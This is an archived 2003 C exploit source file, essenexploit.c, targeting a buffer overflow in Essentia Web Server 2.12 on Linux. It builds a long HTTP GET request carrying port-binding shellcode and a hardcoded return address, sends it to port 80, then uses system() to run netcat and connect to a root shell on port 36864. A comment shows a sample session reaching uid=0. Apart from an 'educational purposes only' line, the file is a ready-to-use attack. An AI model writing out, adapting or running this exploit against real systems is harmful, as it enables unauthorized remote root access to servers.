home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 12 / hacker12 / 12_HACKER_12.ISO / exploits / essenexploit / essenexploit.c
Encoding:
C/C++ Source or Header  |  2003-08-21  |  4.1 KB  |  175 lines

  1. /*
  2.  
  3.     Title:        Remote Buffer Overflow in Essentia Webserver.
  4.     Author:        By B-r00t <br00t@blueyonder.co.uk>
  5.  
  6.     Date:        04/07/2003
  7.     Reference:    http://www.essencomp.com/
  8.     Versions:    Essentia Web Server 2.12 (Linux) => VULNERABLE
  9.     Related Info:    http://www.securityfocus.com/bid/4159/info/
  10.  
  11.     Exploit:    essenexploit.c
  12.     Compile:    gcc -o essenexploit essenexploit.c
  13.             Exploit binds a r00tshell to port 36864.
  14.             Tested on Redhat 7.2 & 7.1
  15.             THIS CODE IS FOR EDUCATIONAL PURPOSES ONLY!
  16.  
  17.  
  18.  
  19. $ telnet 0 80
  20. Trying 0.0.0.0...
  21. Connected to 0.
  22. Escape character is '^]'.
  23. HEAD / HTTP/1.0
  24.  
  25. HTTP/1.1 200 OK
  26. Date: Fri, 04 Jul 2003 11:19:39 GMT
  27. Server: Essentia Web Server 2.12 (Linux)
  28. Accept-Ranges: bytes
  29. Connection: Keep-Alive
  30. Content-Type: text/html
  31. Content-Length: 757
  32. ETag: "f104b5-5f2-0b7940f3"
  33. Last-Modified: Thu, 03 Jul 2003 20:53:04 GMT
  34.  
  35. Connection closed by foreign host.
  36.  
  37.  
  38.  
  39. $ ./essenexploit 127.0.0.1
  40. essenexploit by B-r00t <br00t@blueyonder.co.uk>. (c) 2003
  41.  
  42. Number of bytes sent: 2057 / 2057
  43.  
  44. Using netcat 'nc' to get the r00tshell on port 36864 ....!!!!!
  45. localhost.localdomain [127.0.0.1] 36864 (?) open
  46. uname -a; id;
  47. Linux RedHat7-2 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
  48. uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
  49.  
  50.  
  51.  
  52. ENJOY!
  53. */
  54.  
  55. #include <stdlib.h>
  56. #include <stdio.h>
  57. #include <string.h>
  58. #include <sys/types.h>
  59. #include <sys/socket.h>
  60. #include <netinet/in.h>
  61. #include <arpa/inet.h>
  62. #include <unistd.h>
  63.  
  64. #define EXPLOIT "essenexploit"
  65. #define DEST_PORT 80
  66. #define NOP "A"
  67.  
  68. int main ( int argc, char *argv[] )
  69. {
  70.  
  71. // Vars 
  72. int socketfd, loop, bytes;
  73. struct sockaddr_in dest_addr;
  74. char *TARGET = "TARGET";
  75. char buf[2100], *ptr;
  76. // Big fat slide NOP so ret should be good everywhere!
  77. char ret[] = "\xe8\xc5\xff\xbe\xe8\xc5\xff\xbe";
  78. char shellcode[] =
  79. "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  80. "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  81. "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  82. "\x80\x43\xc6\x46\x10\x10\x88\x46"
  83. "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  84. "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  85. "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  86. "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  87. "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  88. "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  89. "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  90. "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  91. "\x80\x88\x56\x07\x89\x76\x0c\x87"
  92. "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  93. "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
  94. "\x6e\x2f\x73\x68";
  95.  
  96.  
  97. printf ("\n%s by B-r00t <br00t@blueyonder.co.uk>. (c) 2003\n", EXPLOIT);
  98.  
  99. if (argc < 2) 
  100. {
  101.         printf ("\nUsage: %s [IP_ADDRESS]", EXPLOIT);
  102.         printf ("\nExample: %s 10.0.0.1 \n", EXPLOIT);
  103.         printf ("\nOn success a r00tshell will be spawned on port 36864.\n\n");
  104.         exit (-1);
  105. }
  106.  
  107. setenv (TARGET, argv[1], 1);
  108.  
  109. // Build buf
  110. memset (buf, '\0', sizeof (buf));
  111. ptr = buf;
  112. strcat (buf, "GET /");
  113.  
  114. for (loop = 1; loop < 2033-sizeof(shellcode); loop++) 
  115. strcat (buf, NOP);
  116.  
  117. strcat (buf, shellcode);
  118. strcat (buf, ret);
  119. strcat (buf, " HTTP/1.0");
  120. strcat (buf, "\x0D\x0A\x0D\x0A");
  121.  
  122. // Socket
  123. if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  124.         perror("\nsocket error\n");
  125.         exit (1);
  126.         }
  127.  
  128. dest_addr.sin_family = AF_INET;
  129. dest_addr.sin_port = htons(DEST_PORT);
  130. if (! inet_aton(argv[1], &(dest_addr.sin_addr))) {
  131.         perror("inet_aton problems");
  132.         exit (2);
  133.         }
  134.  
  135. memset( &(dest_addr.sin_zero), '\0', 8);
  136.  
  137. if (connect (socketfd, (struct sockaddr *)&dest_addr, sizeof (struct sockaddr)) == -1){
  138.         perror("\nconnect failed\n");
  139.         close (socketfd);
  140.         exit (3);
  141.         }
  142.  
  143. // Wallop!
  144. bytes = (send (socketfd, ptr, strlen(buf), 0));
  145. if (bytes == -1) {
  146.         perror("\nsend error\n");
  147.         close (socketfd);
  148.         exit(4);
  149.         }
  150. close (socketfd);
  151. if (bytes < strlen(buf))
  152. printf ("\nNetwork Error - Full Payload Was NOT sent!");
  153.  
  154. printf ("\n\nNumber of bytes sent: %d / %d\n", bytes, strlen(buf));
  155. printf ("\nUsing netcat 'nc' to get the r00tshell on port 36864 ...!\n");
  156. sleep (3);
  157. system("nc -vv ${TARGET} 36864 || echo 'Sorry Exploit failed!'");
  158. exit (0);
  159. } // end main
  160.  
  161. /*
  162.  
  163. Shoutz: Marshal-l, Rux0r, blunt, macavity, Monkfish
  164.     Rewd, Maz. That One Doris ... U-Know-Who-U-R!
  165.     The doris.scriptkiddie.net posse.
  166.  
  167. Author:    B-r00t aka B#. 2003. <br00t@blueyonder.co.uk> (c)
  168.     "If You Can't B-r00t Then Just B#."
  169.  
  170.     ENJOY! 
  171. */ 
  172.  
  173.  
  174.  
  175.